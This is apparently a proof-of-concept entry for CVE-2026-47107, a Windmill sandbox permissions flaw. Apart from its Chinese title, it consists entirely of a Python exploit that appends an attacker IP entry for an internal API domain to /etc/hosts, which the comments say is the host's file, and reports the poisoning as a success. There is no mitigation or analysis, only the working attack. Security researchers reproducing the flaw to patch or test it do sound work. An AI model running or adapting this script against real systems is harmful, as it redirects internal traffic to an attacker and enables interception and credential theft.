CVE-2026-47107: Windmill沙箱权限不当漏洞

#!/usr/bin/env python3 import os def exploit(): # Attacker controlled IP and domain malicious_ip = "192.168.1.100" target_domain = "internal.api.service" # Path to hosts file inside the sandbox (mapped to host /etc/hosts) hosts_path = "/etc/hosts" try: # Append malicious entry to /etc/hosts with open(hosts_path, "a") as f: f.write(f"{malicious_ip} {target_domain}\n") print(f"[+] Successfully poisoned {hosts_path}") print(f"[+] {target_domain} now points to {malicious_ip}") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit()